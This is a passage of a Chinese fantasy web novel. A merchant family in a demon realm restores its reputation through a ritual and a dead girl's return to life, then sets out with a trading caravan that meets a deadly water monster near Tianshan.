甄青竹反应过来,手疾眼快地扔掉手里的东西,将神木捡起来抱在怀里,一脸痛心:“小姨你也太败家了。”
古青言从震惊中逐渐缓过来。
传说神农大帝在一个大雪纷飞的冬天进入深山采药,在山中发现了一颗绿色的树,树叶上闪烁着金光。神农觉得十分神异,好奇之下将此树带回人间,尝试之后发现此木有治愈百病的奇效。
从此,这无名之木便被称作神农木。
如今神农等上古大神接连失去了踪迹,此木也早已在人间绝迹,只有一些古老的家族可能藏有剩余。
古青言在财神殿都没见过这东西,可见其何等稀罕。
也不知古玎从何处得来,想必是外出行商时有所机缘吧。毕竟妖界也有些古老的族群寿命漫长,会有些丰厚的收藏也不奇怪。
古青言第一时间想到了张辞晚,有心想拿去给她试试。神农木乃木灵之首,定能为晚晚重塑肉身。
可是......
此物贵重,若是直接讨要,未免失了分寸。
但若是花重金向小姨买来,又好像失了亲近。
古青言自己个儿暗自纠结着,小脸拧巴在一起都
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不自知。
甄青竹都把地上的礼物们翻完了,古青言也没纠结出个所以然来。
反倒是古玎见她一直盯着神木看,大大咧咧地道出了她的心思:“言丫头喜欢这木头?”
古青言张了张嘴,不知该作何回答。不行,太贵重了,有价无市的东西,就是重金买也不合适,还是不要了。
“喜欢就拿去,扭扭捏捏地做什么!”古玎说着一把将神木塞在了古青言怀中。
古青言懵懵地接住,一时有些小尴尬。但胸腔被欣喜和一种说不清道不明的情绪填满,酸酸涩涩的。
……
与此同时,开灵城中各处好戏也已开场。
玉英楼。
瑶台之上,桃花般明媚的轻纱罗裙瓣瓣绽开,修长莹白的腿被这颜色衬得如细嫩新生的花茎,在薄雾缭绕中轻盈跳跃。朱唇启合,笑颜如画,眼波流转间如含露之花,柔情似水。
万花锦簇间,唯此一朵,直入心间。
台下痴人入梦,竟未觉乐声停歇。
“瑶姐姐今日越发美了。”还好甄青竹提前遣了绛桐过来捧场。
看客们这才如梦初醒,纷纷拍手叫好:“瑶姑娘再来一曲吧!”
面对众人的热情相邀,台上的美人俏皮一笑:“今日累了,不跳。”
台下人神色失望,以瑶姑娘的身价,想观她一舞可是难得。
“过几日甄古府的祭礼上,瑶儿再以祈神之舞与诸位相会吧。”瑶姑娘笑意盈盈,依照约定为甄古府造势。
“甄古府?”众人脸上犹疑,毕竟鬼嫁衣之事可还没过去几日呢。
瑶姑娘却故作不知众人的顾虑,自顾自地说道:“是啊,你们不知吗?甄古府三日后举办祭礼,邀请瑶儿献跳祈神舞。我今日这身衣裳还是甄古府特意送来的呢。怎么样,很好看吧?”瑶姑娘旋转一圈展示她的衣裳,神色十分满意。
桃红的裙尾摇曳,如蝶展翼。
南竹阁。
青衣飞扬,那人闪身掠过,便将被掷在空中的茶盏稳稳接住。剔透晶莹的茶水从壶嘴倾泻而下,分毫不差地落入盏中。瓷白如玉的手握着茶盏,靠近座位上慵懒斜坐的女子。
茶盏被送至嘴边,女子微微直起身,握住青衣人的手腕:“阿墨今日这身行头是哪位女客送的?叫阿墨越发的......勾魂摄魄了呢。”
很快,靠着两人的影响力,甄古府举办祭礼之事传遍全城。
一时间议论纷纷。
“我听闻瑶姑娘穿了甄古府的舞衣,是不是说明甄古府的货物确实已经无恙了?”
“害,有钱能使鬼推磨,玉英楼都是一群要钱不要命的狠娘们,谁知是不是被收买了?”
“可是我听闻......”这人突然压低了声音,“皇后殿下也穿了甄古府献上的华服。”
“此话当真?”另外几人很是惊奇,“这鬼嫁衣的受害者可是殿下的亲侄女,她怎么会......”
“难不成传言有误,甄古府的东西真没问题?”
但不论坊间如何议论,甄古府萧条冷淡的生意总算有了转机,已有不少好事胆大,又自恃修为高深之人买了甄古府的绸缎料子回去研究。
但甄古府究竟能否挺过这次难关,还得看三日后的祭礼。
9. 祭台上惊险一瞬,张家女死而复生
“言言,你出的主意果真有奇效。如今茶楼酒馆,烟花柳巷,无一不是议论咱们甄古府的。”甄青竹揽住古青言的肩膀,毫不吝啬地夸赞。
“铺子里也有不少好事者过来探看,不过大多还在观望,少有人敢真的把东西买回去。”睿安温声说起铺子里的情况。
“不过皇后殿下会穿咱们家的衣裳我委实是没有想到。那日庭审时她分明还凶的像是要将我吃了似的。”甄青竹说着,忽然想起那日皇后态度转变,是从古青言献上那顶宝冠开始。
她不动声色地看了古青言一眼。看来言言离家这些年,藏了不少秘密呢。
古青言没有说话,淡笑着噙了一口茶,深藏功与名。
她已经将张辞晚仍存于世的消息偷偷告诉了皇后,再加上皇后见了她的神官令牌,会有此做法并不奇怪。
“走吧,祭礼要开始了。”古青舟进来催促几人。
……
太上敕令,超汝孤魂。
古老低沉的咒决在高台上响起,穿过层层升腾而起的阵符,回响在在场每个人的耳畔。
数百名丫鬟小厮神色郑重,将手中衣锦托举至头顶,一一登上高台,呈环形围绕在祭台正中的姚璃四周。
姚璃口中振振有词地念着咒,庄严的法相在其身后展开。
场下一片哗然:“真神临世!是真神临世!”
有虔诚的民众已然激动地朝着祭台跪拜下来。
脱离苦海,转世成人。
往生咒语不绝于耳,祭台中的衣裳上骤然升腾起灰色的灵光。
是怨魂!
姚璃有条不紊的变幻法决,道道灰色灵光缓缓升空。
一时间,场上如有乌云密布,阴霾覆顶。
台下民众被这场景震慑住,纷纷虔诚地低下头,因此没能注意到台上姚璃脸色剧变。
灰色怨灵之上,丝丝黑气萦绕,与姚璃的银色道光相撞,透过法力侵袭着她的经脉丹田。
姚璃额上青筋暴起,艰难地维持着法术的运转。
祭台四周,甄古府四人作为阵眼维持着祭台法阵的运转,却也在此时陡然感到吃力不已。
古青言稳住脚下,看向空中的怨灵,眼中满是探究。
从前游历时她也见过怨灵。不知为何,她总觉得这些怨灵与以往见到的那些有所不同,让她本能地有些排斥。
可莫要生出什么意外才好。
古青言加重手中输出灵力的力道,暗暗将神力输送到祭台上。
姚璃神色和缓,终于松了口气。
终于,银光将黑气吞噬,怨灵灰意慢慢浅淡,直至彻底往生轮回。
姚璃面向民众露出个笑容,轻声念起祈福之语:“祈神之佑,万物蓬生。”
悠悠祈神曲婉转神圣,祭台上美丽的姑娘翩然起舞。
“是瑶姑娘吧?我竟有机会得见瑶姑娘的舞姿,真是翩若惊鸿,宛若游龙。”台下有妖惊叹道。
然,随着舞曲继续,台上舞者转过身来。
不是瑶姑娘!
众妖疑惑间,张氏一众却瞳孔骤缩,热泪一瞬间涌出眼眶。
“晚晚。”张夫人哽咽。
张夫人脱口而出的名字渐渐在人群中传开,饶是祭礼这样重要的场合,众人还是忍不住低声议论起来。
“张家女不是死了吗?难道还魂了不成?”
相同的疑问出现在所有人心头。
舞毕,乐止。
张辞晚翩翩然向台下施了一礼。
“张氏女辞晚,献丑了。”
场间一片哗然。
“晚晚。”张衣涛激动不已,当即就要冲上台去。
张辞晚对他安抚地笑了笑,止住了他的脚步。
“大家想必都很好奇,我这个已死之人为何会出现在此。”张辞晚声音轻柔,却镇定有力。
她娓娓道出自己的遭遇。
那日,张府刘管家将用轻雾锦制成的嫁衣送到她的房中。
她拿起试穿,初时并无什么异常。正当她准备脱下时,却发现那嫁衣越收越紧,直勒得她喘不过气来。她想要呼救,那嫁衣却紧紧勒住她的脖子,叫她发不出声音来。
再后来,她便晕了过去。
再醒来时,她的魂魄便附在了嫁衣上。而一旁,自己的肉身却行动自如。
张辞晚茫然不知所措,靠着神魂之力撑起嫁衣,朝着自己的肉身扑去,想要重新回到身体里。
这才有了坊间传闻的,嫁衣直立追赶张氏女,引来张府众人,张氏女惊惧而死。
其实是嫁衣上的怨魂趁张辞晚不备夺舍肉身,但张辞晚自小体弱,她的肉身难以承受怨魂之上浓厚的怨气,这才会导致“张氏女”惊惧而死。
“幸好甄古府的三姑娘——古青言发现了我的异状。”张辞晚朝古青言笑得温柔。
古青言对上她的视线,很快又有些不好意思地移开了目光。
张辞晚继续道:“青言为我耗费了无数珍贵的灵材重铸肉身,又请来神官大人为我移魂,我这才能重新站在大家面前。”
"甄古府先前或有过错,但已经尽力弥补。所以我愿意再给甄古府一个机会,重新相信他们。"
古珺这时候作为甄古府最高的主事者之一,在此时大步走上台,接过话头,熟练老道地说了一大串漂亮的场面话。
甄青竹在场下带着几个甄古府的伙计呱唧呱唧鼓起掌。
围观众妖还沉浸在张辞晚死而复生的故事中,听到掌声虽然有些不明所以,但还是手比脑子快地也跟着鼓掌。
场间气氛莫名热烈起来。
而这种热烈随着古珺宣布今晚将在此地举办庙会,将有瑶姑娘和墨公子献舞,且今晚所有商品只要七成价格时到达了顶峰。
夜幕时分。
气派的祭台此时被装上了彩色灯盏,在黑暗的夜晚成为了最闪耀的建筑。
祭台四周,各式各样的摊子此时全都吆喝起来了。全是甄古府的伙计们,这么多天无事可做,都担心甄古府若是倒了自己无处可去,今日可谓是卯足了劲儿。
“瞧一瞧看一看啦,买三盒胭脂送一张神官大人亲笔刻画的护身符。”甄青竹也支了个小摊子,舌灿莲花地向人家推销着货物,“这位娘子,你瞧瞧这脂粉,多细腻,还有淡淡的花香,涂在脸上有驻颜的奇效......”
那边,古青言的摊子前也围了不少人。
“这上边绣的是我们绣娘特意从人界习得的苏绣,针脚细腻精巧,独具人间江南烟雨的温婉与秀美。”古青言声音轻缓,不急不徐。
古青言其实很紧张,财神殿神官不多,她从未同时面对这么多陌生的面孔讲过话,更没这样当街推销过商品。
她
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不会讲多么漂亮的话,也不懂什么推销技巧,只尽力地将自己知道的东西讲给大家听。
本以为招揽不到什么顾客,没想到竟真有几位驻足认真听了进去,甚至吸引力了源源不断的顾客朝这边围了过来。
妖多便容易杂乱,也难免有生事之徒,古青言便渐渐有些招架不过来了。
她一边手忙脚乱地应付着顾客稀奇古怪的问题,一边有些焦急地向甄青竹投向求助的可怜眼神。
可惜甄青竹那边的妖比她这里还多,根本顾不上她。
“这款衣裳是我们青言姑娘亲自设计的,与瑶姑娘身上的是同款,您大可自己看看效果。”平和的声音如同救星降世一般。
柔软的青丝在古青言的鼻尖扫过,带着淡淡的兰花香气。
“阿晚。”
在张辞晚的帮助下,古青言终于将眼前的这波顾客应付过去。
握着手中沉甸甸的钱袋子,古青言长舒一口气,这才有空看向眼前人:“阿晚,你怎么来了?”
“来帮你呀。”张辞晚理所当然道,动作利落地整理着摊上的东西。
古青言抿着唇,表情淡淡地“哦”了一声,张辞晚恢复人形,她还有些不习惯,反而还没有前些日子对着一件嫁衣自在。
张辞晚瞧了她一眼,笑眼弯弯:“我还是一件衣裳的时候,你不是叽叽喳喳的很能说吗?怎么如今见了我,反倒没话了?”
“难不成是我的人形生的太丑了?”
“不,不是。”古青言赶紧否认,“你很好看。”
看古青言紧张地样子,张辞晚不再逗她:“阿言,多日相伴,你殚精竭虑为我重塑肉身我都看在眼中,你不必再为我愧疚。”
古青言望着她,一时不知该说什么。她救张辞晚,确有愧疚的因素在,毕竟是自己家的货物导致其丧命。
可她也是真心希望这个姑娘好。她那样年轻,那样漂亮,跳起舞来那样有魅力,又怎能早早的香消玉损呢。
“我此次寻你,其实是有事相求。”张辞晚眼中满是诚恳,“我听闻,此间事了,你与青竹便要启程去植妖族行商了?”
古青言点点头。
“我想同你们一起去。”
古青言呆住,脑子有些转不过来。
“行商所得我分文不取,只是想与你们结伴同行,见见世面。”
古青言茫然。
半响,她才愣愣地问:“你不是要成婚了嘛?”
不就是因为张辞晚要成亲,张家才会来甄古府买轻雾锦,这才有了后面一系列事情吗?
“我本不想成亲,毕竟……”张辞晚眸子温柔。
“这世上,再不会有哪个男子,比爹爹待我更好了。”
她淡笑着解释:“先前应允,也不过是为了爹娘安心。但鬼门关走过一遭,爹娘的心态也有所转变,不再强求。方才他们已经答应我,明日就会去退婚。”
“我自小体弱,前半生都困于家宅之中。如今乱世再起,谁知哪一日又会出什么意外。阿言,我不愿后半生再如此度过了。”
听了张辞晚一番话,一种难以言喻的触动在古青言心中蔓延开。
看着眼前柔软而坚定的女子,她恍惚间仿佛看到了多年前那个独自背起行囊的女孩。她怯懦,腼腆,却勇敢了这一次。
后来,财神殿多了一位女神官。
10. 将远行挖兄墙角,忆往事姐妹谈心
这毕竟不是小事,商队也远不是她的一言堂,古青言仍不敢轻易应允:“张家主与夫人视你若珍宝,想必不会舍得你远行。”
“若你答应,爹娘那边自有我去说。”张辞晚显然是深思熟虑过了,“阿言,带我去好不好,针织女红,算术账册,我都不在话下。你为我重塑肉身后,也治好了我的体弱之症,我定不会拖你们后腿。”
古青言看着她真挚的眼睛,最终还是答应下来,心中却有些忐忑自己这样擅自往商队塞了一个人,甄青竹会不会不高兴。
“言言,这点小事,你做主就是了。”甄青竹却是混不在意。
甄古府这场庙会整整办了三日,总算是将甄古府这些日子的损失全都补了回来。
睿安带着人清点库存,登记账册,忙得不可开交。
甄青竹瞧着睿安忙碌的背影,赞叹道:“啧啧,你瞧瞧这麻利劲儿,太靠谱了。”
古青言点头附和,心里想着反正都往商队里塞了一个人了,再塞一个......也无妨吧?
“少主,夫人唤您过去呢。”绛桐过来传话,“府里上下都忙成什么样了,您怎么还有闲情逸致在这看热闹呢?”
甄青竹被绛桐扯着往主屋走,还不忘回头跟古青言再说两句话:“言言,你等我一下,我马上回来找你。”
古青言笑着冲她摆摆手,看着她被拖走了。
“睿安。”古青言走上前叫住忙碌的人,“可以耽误你一点时间吗?”
睿安跟着她走到没人的角落,古青言犹犹豫豫半响,在睿安疑惑的目光中才终于开口道:“你愿不愿意随我一道走?”
睿安愣住。
“我看的出来,你满腹才华,一身正气。我不知道你有什么样的过往,或意气,或遗憾,那都过去了不是吗?”古青言趁睿安还没拒绝,赶紧一口气将打了半天的腹稿说完。
“这小小的宅邸对你来说实在屈才。随我一道走,去植物族,去边境战场。这一路或许危险,但一定精彩。”
睿安眼中神色在听到“边境战场”四字时陡然变化,他抬头看向古青言,眸中情绪纷杂,逃避与不甘交织对抗,不断演替。
他薄唇微张了张,古青言几乎以为他立时便要答应了。
可是很快,他又将到嘴边的话咽了回去:“在下多谢三姑娘赏识。只是......某若跟着去了,怕是会给姑娘和少主招致灾祸。还是......算了。”
最后几个字说的艰难,古青言看出他是想去的。
“今日事务多,在下先告辞。”说完,睿安快步离开,似乎生怕走的慢了就要反悔。
古青言眉目也被他染上了忧愁,深深叹息一声。
“大人。”姚璃的声音在背后响起,“属下此次将功补过,望大人能看在往日情分上从轻发落。”
古青言回过头看她:“你回银殿去吧。”
姚璃抬头。没有别的处罚了吗?
“你回去,静思己过。没有我的吩咐,就不要离开银殿了。”
这是要禁足。
“大人......”姚璃还想求情。
“没有降职,甚至都没有罚奉。姚璃,这处罚已经够轻的了。”
“是。”姚璃似乎有些不甘,但也不敢再多说什么,转身离去。
她走后,古青言指尖灵力流动,丝丝缕缕注入腕上的银镯中。
不过片刻,银镯亮起,一道女声从中传出:“司银大人。”
是古青言手下另一位女官,典银钱笙。
“我会向财神大人禀报,将你升为掌银。我回去之前,由你全权代理银殿所有事物。”
“最重要的是,看好姚璃。”
甄古府主屋,门被从里面打开,被黑袍笼罩的人走了出来。
古珺跟在这人身后,神色十分恭敬:“大人慢走。”
甄青竹也跟在后面,脸色说不上好看,耷拉着脑袋不知道在想什么。
古青言看着这人远去,只觉这人浑身气息叫她毛骨悚然。但又有些熟悉,好像在哪见过。
还没等她想出个所以然来,甄青竹就看到了她,一扫刚才的无精打采:“言言,你是来找我的吗?”
古青言点点头:“刚才那是什么人?”
“是你们小时候救了你们姐妹两个的恩人。”古珺回答道。
骤然提起这桩旧事,古青言有些没反应过来。
听府上老人说,当年古珺和甄父其实只孕育了一个孩子。
石族初生时没有人形,只是一块小石头。需要以灵力温养,才能开灵智,化人形。
石妖繁衍漫长而艰难,古珺和甄父盼了多年才得了这么一块小石头,十分珍惜,将小石头精心养在仙晶铸成的温箱中,里面铺满了厚实柔软的灵锦。
为了给小石头开灵智,二老可是花了大价钱。
甄古府上下皆盼着小主人的诞生。
可是有一日,小石头却突然不见了踪影,连带着它精美的温箱。
古珺二人将甄古府翻过来找,都毫无踪迹。
再出现时,是一个黑袍男子抱着温箱,箱中的小石头成了两颗。
黑袍男子说,小石头被贼人偷去受了颠簸与惊吓,所以才裂成了两块。
这样后天裂开的石妖本是活不成的,多亏了这位黑袍男子法术精妙,回春有术。
古青言从记事起从未见过这位恩人,若不是甄青竹坚持她二人本属同一块石头,诞生无先后之分,故而从不肯唤她姐姐,古青言几乎都要忘了这桩往事。
“恩公救了你们,却不留姓名,也不要报酬,很多年都没再出现过。后来,也就是你离家出走不久之后,恩公云游到此,这才又多有往来。”古珺话语间都是对这人的感激,“知道你这逆子负气离家,恩公还多有担忧呢。”
“古青言,你与妹妹本是一体,该不分你我才是。你何故处处与妹妹较劲。这家主她做与你做又有什么分别,你竟为了这点事负气离家,一走就是这么多年。真是罔顾恩公耗费法力救你一场。”
眼看着古珺说着又扯到了这事上,古青言有些不耐,但没有反驳。
该说的话多年前就已说尽了,也没必要再辩驳了。
见古青言低着头不说话,古珺语气放缓:“行了,既然回来了,好好跟着你妹妹学着打理生意。一会跟我去家里宝库挑件法器,路上拿着防身用,可别拖你妹妹后腿。”
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“不用。”古青言小声说,“我有法器。”
古珺却好像觉得她是在跟自己赌气,忽然更生气了:“哼,随你。你能耐,在外面这么多年,哪里需要家里这点东西。”说完转身就走。
古青言:......她是真的有。
“言言,母亲她其实是担心你。”甄青竹着急地想缓解二人的关系。
“嗯,我知道。”古青言随口回道。两个人胳膊挽着胳膊往房间走。
甄青竹见她兴致不高,很是沮丧,也半响没有说话。
走到古青言房间门口,她突然冒了一句:“言言,你如果想做家主,我可以辅佐你的。”
古青言推门的手顿住,回头看她。
半响,她叹了口气,推开门:“阿竹,你也觉得,我是不满继承权落在你手上才负气离家的?”
“不是,我......”甄青竹语无伦次,觉得自己好像说错了话,急得泪花都快冒出来了,“我知道你不是要与我争。我只是,只是......”
古青言又叹了口气,无奈地把她拉到自己身前擦去眼泪:“阿竹,你做家主,很好。”
甄青竹眼泪汪汪地看着她。
“你嘴甜,擅交际,脑子也灵活。只有在你的带领下,甄古府才能变得更好。”
古青言有些自嘲地笑了笑:“我的性格你也知道,古板正经,不爱说话,更不会说漂亮话。这些年虽有了些许长进,也不过是强撑着罢了。”
“不是的,言言,你很好的。”甄青竹擦擦眼泪,反过来安慰她,“你温柔又坚韧,无论什么时候都那么镇定。有你在身边,我只觉得安心。”
“我不适合做商人。”古青言笑着,“当初离家,也只不过是觉得继续留在这里没什么价值而已。”
“这些年,我也经历了一些风雨,困苦。但总的来说我过得很好。或者说,是极好。”
“所以说,阿竹,不要愧疚。你是我在这世上最亲的亲人。”
甄青竹的眼泪又泄了闸,扑到古青言怀里“哇哇”哭了起来,跟个小孩子似的。
古青言撸阿金似的顺了顺她的脊背:“好了不哭了,来看看姐姐给你准备的礼物。”
甄青竹坐起来擦了擦眼泪鼻涕:“我才是姐姐。”
古青言嗤笑,掐住她的两颊揉捏:“你瞧你这三岁小孩似的哭法,你哪像个姐姐。”
古青言从榻边拿出一个盒子打开,推给甄青竹。
甄青竹好奇地接过来,只见叠放整齐的朱色衣裙摆放在盒中,衣裳纹样用金丝勾勒。那金丝......
竟是货真价实的黄金!
甄青竹瞪大了眼睛。
金丝蜿蜒,精美异常,却与红裙映衬,丝毫不叫人觉得珠光宝气。
“送我了?”甄青竹抖着手去摸那金丝,“是真金吗?我咬一口。”
说着甄青竹竟真的拿起衣裳就要往嘴里放,古青言赶紧拦她:“出息!之前弄坏了你的礼服。就拿这个补给你吧。”
衣裳是古青言从仙界带回来的,本就打算送给甄青竹做礼物。礼服毁了,也算是歪打正着。
“言言,你真好。”甄青竹大叫一声,又扑了过来。
11. 湖中怪吸血杀人,盼君至迎风踏剑
天光微亮,月影仍半遮半掩地隐匿在云间,甄古府却已经忙碌了起来。丫鬟小厮们进进出出,装箱卸货的声音不绝于耳。
今天对甄古府来说是个大日子,甄古府少主甄青竹第一次带商队外出行商,将要远行。若她能圆满归来,就可以正式成为甄古府家主。
古珺拉着两个女儿滔滔不绝地叮嘱着。甄青竹亲昵地挽着她的胳膊,时不时笑盈盈地附和几句。
甄父在一旁长吁短叹,满是担忧。
另一边,张衣涛夫妇也拉着张辞晚的手擦眼泪:“我的晚晚,舟车劳顿何等辛苦,你怎么受得了啊。”
张辞晚也万分不舍,声音哽咽,但还是坚定道:“爹,娘,女儿该离开你们的庇护了。”
“再归来时,孩儿想生出一双宽厚的羽翼,也将爹娘都护在我的翅膀下。”
古青言看着这一幕幕,百无聊赖。
她打量四周,没看到睿安的身影。
还是不肯来吗?
想了想,她还是拦住一个小厮:“麻烦帮我把这封信交给睿安管事。”
睿安,我不怕灾祸。如今妖界饱受灾祸之苦的,又何止万千呢?
马车骨碌碌地走起来,浩浩荡荡的商队载着丝绸布匹,瓷器玉盏向着远方驶去。
此行他们将一路向东至物妖族与植妖族边境,再沿静河北上,进入植妖族领地。
转眼间商队已走了一月有余,周围的景致越来越陌生,官道上也愈发人迹罕至——临近两族边境了。
“绛桐,咱们今天晚上在哪歇息?”甄青竹掀开车帘,问道。
“赤松镇,边境线边上的最后一个镇子了。”
“这么说明日我们就能到达植妖族领地了?”甄青竹有些兴奋,“听小姨说那边如今乱的很,她被绊住脚好些日子才得以脱身。”
古玎前些日子刚带队从植妖族回来,说什么也不肯再去了。但她闲不住,这不,与甄青竹一干人同天出发,又往动妖族去了。
“植妖族乱,动妖族能好到哪去?小姨也真是奇怪,说什么也不肯跟我一道。”甄青竹嘟囔道,“她经验丰富,若是能有她陪同,此行必能顺利许多。”
“吁”,勒马声在耳边响起。来人叫贯子,是甄古府的一名小厮,弱冠之年,马却骑的很好。因此被甄青竹派遣到前头探路去了。
“少主,三姑娘,前路怕是走不通了。”少年清脆的声音带来坏消息,却没有多少忧愁。
“怎么回事?”甄青竹皱着眉探出头。
“边境线被植妖族封锁了,说是怕动妖族从咱们这边潜过去,不准任何人进入。”贯子如实道。
甄青竹一听很是气愤:“这植妖族是有被害妄想症吗?竟还怀疑到我们物妖族头上!”
古青言劝住她:“阿竹,两族战事惨烈,植妖族想必是吃了这等亏,才会有此决策。我们绕道就是了。”
“绕道?”甄青竹没明白,整个边境线都被封锁了,能从哪里绕过去。
“天山。”古青言斩钉截铁,“天山横跨物妖与植妖两族疆域,又不受两族管辖,若能从此借道,定然能进入植妖族。”
“你还记得我与你说过的天山云丝吗?”古青言又想起一桩事,“我们正好可以过去谈一笔生意。一举两得,岂不美哉?”
甄青竹却并不乐观:“可是天山常年与世隔绝,从不与外界往来。若是我们贸然闯入,触怒了山神......”
古青言给她吃定心丸:“阿竹,只管叫大家往那边走,我们过得去。”
古青言说得坚定,甄青竹将信将疑,但还是照做。
一行人又浩浩荡荡地调转方向。
天色渐晚,临时改道没能规划好行程,找不到落脚的村镇,一行人只得找了个较为平坦的湖边就地安营扎寨。
古青言坐到账中,揉着自己酸软的腰背。马车颠簸,这么多天下来,身体着实有些消受不住。
“累死我了。”甄青竹瘫在榻上抱怨道,“这破马车,就不能走得稳当些嘛。”
“父亲已经给咱们备了最好的马车了,行路哪有不颠簸的。忍忍吧,等到了天山就能休整几日了。”古青言耐心宽慰道。
甄青竹闻言立马黏黏糊糊地贴了过来:“言言,还好有你陪着我,没有你我可怎么办啊。”
古青言无奈地将贴上来的人推远了一些:“别凑这么近,也不嫌有汗臭味。”
姐妹俩正说话间,一阵急促的脚步声在账外响起,随即,一小厮慌乱的声音传了进来:“少主,三姑娘,不好了!”
“怎么慌张,成何体统!”绛桐和银雪走出去,训斥道,“二位主子好好的,你作何胡言?”
“是小的言错。”那小厮急忙告罪,“不是姑娘们不好了,是贯子不好了。”
古青言与甄青竹对视一眼,也跟着走了出去。
出去细细问来才知,方才贯子在湖边搭帐篷,瞧见湖面上飘着个草席,上面虽略有些破洞,却还大体完好,便想捡过来垫到帐子里,谁承想刚一靠近那席子,便被卷进水中不见了踪影。
古青言心中一惊,竟有这样的怪事!
甄青竹却丝毫不怕,反倒是饶有兴致地要拉着古青言去看一看。
方才来传信的小厮名唤万贯,是贯子的好友。跟着万贯来到事发的湖边,万贯惊叫起来:“就是那个席子,它又出现了!”
“哗啦!”破水声响起,古青言顺着万贯手指的方向看过去,却只见草绿色的残影猛然暴起,狠狠拍在湖面上,巨大的水浪瞬间打到岸上,将几个没来的及退远的伙计击飞出去。
草绿色的席子一跃而起扑向岸边,眼瞅着攻击就要落到岸边倒着的人身上。
古青言急急掠去,想要将人救下。但距离太远,根本赶不过去。
电光火石之间,玉色长剑破空而来,剑尖直指草席。
素白欣长的人影飞身出现,操控长剑与草席对打起来。
草席不断拍击湖面,调动庞大的水浪与长剑对抗。二者相撞,瞬间爆炸开来,发出巨大的轰鸣声。
满天水花四溅,冲垮了近处的几座帐篷。
古青言几人也被能量波冲击地倒退几步。他们有法术护身,倒未有太过狼狈。
再抬眼看去时,只见那草席飞快地向湖中心而去,没入水中,再不见踪影。
草席原先漂浮的地方,浮
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上来一具残破的尸首。
正是贯子。
众人都有些不忍看。方才还纵马向她们禀报消息的少年转眼间竟成了一具残破的尸体。
甄青竹脸色惨白,第一次认识到了旅途之凶险。
古青言也终于意识到如今妖界何等混乱不堪。不仅是正在交战的动植两族,即便是偏安一隅的物妖族也无法在这混战中独善其身。
万贯红了眼眶,立马便要冲上前去为贯子收尸。古青言拦住了他:“别过去!用法术把贯子卷过来,不要靠近湖面。”
“那到底是什么东西?”甄青竹惊魂未定,靠在岸边的巨石上喘息着。
“吸血毯。”温润有力的声音回答。
古青言看向声音来处,饶是刚经历了惨事,还是不禁露出一丝笑意:“你终于来了。”
击退草席的,正是有一月未见的睿安。
“赶了数日,总算是赶上了。”睿安有些不好意思,“不知三姑娘还愿不愿意......收留我这无用之人?”
“愿意,当然愿意。今日还好有你在。”古青言庆幸道,否则方才岸边的几人怕是要落得跟贯子一样的下场。
“睿安,太好了你也来了,这队伍没你可不行啊。”甄青竹见到睿安也很高兴,“你刚才说那鬼东西叫......什么毯?”
“吸血毯。”睿安解释,“也叫地皮卷。没有四肢,全身长嘴,形状像敞开的草席。是一种灵智不全的低阶精怪。”
“这种水怪我只听说在澜沧江中出没。澜沧江流经天山,此处正与天山相邻,想必是从那里跑出来的吧。”
“它还会再跑出来吗?”古青言担心,经此一遭,大家今夜怕是都难以安枕了,“阿竹,叫大家把岸边的帐篷都拉远一些吧。”
次日,等不得天光大亮,一行人便匆匆收拾行囊,想要快些离开这多事之地。
“快走快走,我现在看那湖面一眼就瘆得慌。”甄青竹指挥着下人装货物套马车,一阵忙活。
商队继续前行。
古青言透过马车的车窗看向湖面。
她总觉得,那水怪还会再出现的。
古青言一行人一路向东,来到沧澜江畔,继续北上,逼近天山。
一路上又遇到好几只吸血毯,所幸没再有人员伤亡。看样子都是从天山里跑出来的,难道是天山发生了什么?
趁夜,众人都歇下了,古青言悄悄往马车上刻画符文。
有了这东西,车队就能顺利通过山神设下的屏障,进入天山。
这位天山山神古青言在仙界时就有所耳闻,传得玄乎,其实并不是什么仙界的隐世之神,而是受罚被贬的罪神,被囚禁在天山中。
古青言入仙界时这罪神就已经被贬下界了,古青言并未与他打过照面,也不清楚具体是犯了什么罪责。财神殿有些资历的神官都对此讳莫如深。
“三姑娘,这么晚了还不休息?”温和的声音在身后响起。
古青言被吓了一跳,转过身欲盖弥彰地挡住还未完全隐去的符文:“睡不着,随便走走。”
睿安故意坏心眼地探头往她身后瞅,笑道:“三姑娘似乎有很多秘密呢。”
12. 露马脚夜下交心,入天山指男为女
古青言心虚地抿抿唇。转念一想,要说秘密,这人也不遑多让。她底气又足了起来,挺起腰杆:“彼此彼此。”
睿安浅笑,眉目柔和而释然。他走过来跟古青言一起靠在马车上:“我可没什么秘密,只是三姑娘不识得我罢了。”
“诡辩。”古青言小声嘟囔,又觉得不能弱了声势,“隐怀,这才是你的真名吧?”
听到这个名字从她嘴里吐出来,睿安忽然笑了:“不是,是我的字。”
古青言瞪他,不大信。
睿安笑着看她,又忽然正色,看着她的眼睛:“三姑娘,你会伤害妖界吗?”
古青言被问得一愣。
“我也曾出入宫廷王府,还算有些见识,见过一些仙界之物。”睿安撇了撇古青言腰间的钱袋,腕上的银镯,“姑娘此去植妖族,有些东西还是藏好吧。妖族好些古老的族群与仙界神族沾点血脉关系,难免有认得的。”
古青言扯了扯袖子盖住腕上的镯子,此地无银三百两。
睿安有些好笑。
他又问了一遍:“你会伤害妖界吗?”
古青言严肃了神色,坦然迎上他的目光:“我不会。”
睿安看着她澄澈的眸子,里面自己的倒影清晰,再没旁的杂质。
良久,他道:“我信你。”
他陡然轻松许多,直起身子想拍拍古青言的肩膀,临到头却又把手收了回来:“姑娘......”
他又想起这人方才可是喊了他的小字,礼尚往来,不能吃亏:“青言......姑娘,早点休息。”
“知道了,隐怀......大哥。”古青言故意咬重最后两个字。
睿安一噎,转身走了。
古青言得意地笑了。
有了古青言的符文,商队顺利进入了天山领域。
甄青竹很是惊奇:“我还当这天山有多稀奇呢,没想到这么轻易就进来了。”
“不过此地灵气丰沛连物妖皇宫都远不能及,确实是个仙山宝地。”张辞晚用神农木重塑了肉身后,似乎对灵气的感知力强了不少。
古青言没说话,心里也在奇怪这山神一介罪神,怎么还能有这样的风水宝地。
“姑娘们,我瞧见前头似有村镇,我们要不要去探问一二?”睿安敲了敲车窗。
甄青竹听完便要吩咐车队往那边走,张辞晚拦住了她:“阿竹,车队就先在此处吧。我们几个过去就好,毕竟是天山仙境,不好太过惊扰。”
甄青竹欣然应允:“还是你心细。”
三个姑娘下了车,跟着睿安一道,四个人往有人烟的地方去。
走得近了,嬉笑怒骂声便清晰起来。
一架架纺织机排列整齐,云雾般缭绕的丝线在木架上穿梭。彩线在阳光下闪烁,如朝霞夕暮。穿着各色罗裙的姑娘们在山中跑跳,手中绫罗剔透。
甄青竹最是识货的,冲到一座织架前捧起尚未完工的绸缎,惊叹道:“言言,这莫不就是你说的云锦?极品!当真是极品!”
